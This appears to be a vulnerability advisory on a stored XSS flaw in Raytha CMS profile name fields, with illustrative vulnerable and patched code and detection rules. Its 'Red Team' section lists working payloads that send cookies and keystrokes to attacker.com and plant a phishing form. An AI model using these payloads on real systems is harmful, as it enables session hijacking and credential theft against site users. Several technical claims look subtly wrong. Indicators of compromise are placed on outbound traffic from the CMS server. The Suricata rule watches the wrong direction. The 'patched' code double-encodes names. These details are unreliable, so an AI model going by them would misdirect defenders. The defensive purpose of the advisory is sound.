CVE-2025-69241
Executive Summary
CVE-2025-69241 is a Stored Cross-Site Scripting (XSS) vulnerability in Raytha CMS, affecting versions prior to 1.4.6. An authenticated attacker can inject arbitrary HTML and JavaScript via the FirstName and LastName parameters in the profile editing functionality. This injected code is stored on the server and executed when any user (including administrators) visits the edited profile page. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of Stored XSS, the actual severity is high, potentially leading to session hijacking, data theft, or full account takeover. The vendor has released a fix in version 1.4.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Raytha CMS is a .NET-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's input handling. No supply chain compromise is indicated.
CVSS Breakdown & Threat Level
While the official CVSS score is 0.0, a realistic assessment based on the vulnerability description is:
- Attack Vector (AV): Network (N) – the attack is performed over the network.
- Attack Complexity (AC): Low (L) – no special conditions are required.
- Privileges Required (PR): Low (L) – attacker must be authenticated.
- User Interaction (UI): None (N) – the injected code executes automatically when the page is viewed.
- Scope (S): Changed (C) – the vulnerability impacts resources beyond the vulnerable component (e.g., admin sessions).
- Confidentiality (C): High (H) – potential for data theft.
- Integrity (I): High (H) – attacker can modify content or perform actions on behalf of users.
- Availability (A): Low (L) – could be used to deface or disrupt.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Estimated Score: 8.6 (High)
Deep Dive & Mechanics
The vulnerability resides in the profile editing functionality of Raytha CMS. When an authenticated user updates their profile, the FirstName and LastName fields are not properly sanitized or encoded before being stored in the database. The application then renders these fields on profile pages without output encoding, allowing arbitrary HTML and JavaScript to execute in the context of the victim's browser.
Attack Flow:
- Attacker authenticates to Raytha CMS.
- Attacker navigates to the profile editing page.
- Attacker injects malicious payload into
FirstNameorLastNamefield (e.g.,<script>alert('XSS')</script>). - The payload is stored in the database.
- When any user (including admins) views the attacker's profile, the script executes.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: Lack of input validation and output encoding for user-controlled fields.
Vulnerable vs. Patched Code
Vulnerable Code (before 1.4.6):
// Profile update handler
public IActionResult UpdateProfile(ProfileViewModel model)
{
var user = _userService.GetCurrentUser();
user.FirstName = model.FirstName; // No sanitization
user.LastName = model.LastName; // No sanitization
_userService.Update(user);
return RedirectToAction("Profile");
}
// Profile view rendering
@model UserProfile
<div>@Model.FirstName @Model.LastName</div> // No encoding
Patched Code (version 1.4.6):
// Profile update handler with sanitization
public IActionResult UpdateProfile(ProfileViewModel model)
{
var user = _userService.GetCurrentUser();
user.FirstName = HtmlEncoder.Default.Encode(model.FirstName); // Encoded
user.LastName = HtmlEncoder.Default.Encode(model.LastName); // Encoded
_userService.Update(user);
return RedirectToAction("Profile");
}
// Profile view rendering with encoding
@model UserProfile
<div>@HtmlEncoder.Default.Encode(Model.FirstName) @HtmlEncoder.Default.Encode(Model.LastName)</div>
The patch uses HtmlEncoder.Default.Encode() to sanitize input before storage and output encoding in the view.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Raytha CMS instance (version < 1.4.6)
- Valid user credentials
Exploit Steps:
- Log in to Raytha CMS.
- Navigate to profile editing (e.g.,
/profile/edit). - Set
FirstNameto:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Set
LastNameto:<img src=x onerror=alert(1)> - Save the profile.
- Any user viewing the attacker's profile will execute the injected scripts.
Example Payloads:
- Session theft:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Keylogging:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script> - Phishing:
<form action="https://attacker.com/login" method="POST"><input name="user"><input type="password" name="pass"><input type="submit"></form>
Blue Team
Detection:
- Monitor for unusual profile update requests with suspicious characters (e.g.,
<,>,script). - Look for outbound connections to unknown domains from the CMS server.
- Check web server logs for requests to
/profile/editfollowed by profile views.
Hunting:
- Search database for stored XSS patterns in
FirstNameandLastNamefields. - Use the Sigma rule below to detect exploitation attempts.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP/HTTPS requests to attacker-controlled domains from the CMS server.
- Logs: Profile update requests containing
<script>,<img,<svg, or other HTML tags. - Database: Stored values in
FirstNameorLastNamefields containing JavaScript or HTML. - File: No specific file IOCs; the attack is purely data-driven.
Detection Engineering
YARA Rule
rule Raytha_Stored_XSS_ProfileFields {
meta:
description = "Detects stored XSS payloads in Raytha CMS profile fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69241"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]*onerror[^>]*>/i
$xss3 = /<svg[^>]*onload[^>]*>/i
$xss4 = /javascript:/i
condition:
any of ($xss*)
}
Sigma Rule
title: Raytha CMS Stored XSS via Profile Fields
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-69241 by injecting XSS payloads into FirstName or LastName fields.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-69241
logsource:
category: application
product: raytha_cms
detection:
selection:
http.method: POST
http.url: "/profile/edit"
http.body|contains:
- "<script"
- "<img"
- "<svg"
- "onerror="
- "onload="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of HTML in profile fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69241 Raytha CMS Stored XSS Profile Field Injection"; flow:to_server,established; content:"POST"; http_method; content:"/profile/edit"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Raytha CMS to version 1.4.6 or later.
- If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block XSS payloads in profile fields.
- Review and sanitize existing database entries for malicious content.
Long-term Measures:
- Enforce input validation and output encoding for all user-controlled fields.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits and penetration testing.
Workaround:
- Disable profile editing functionality temporarily if upgrade is delayed.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert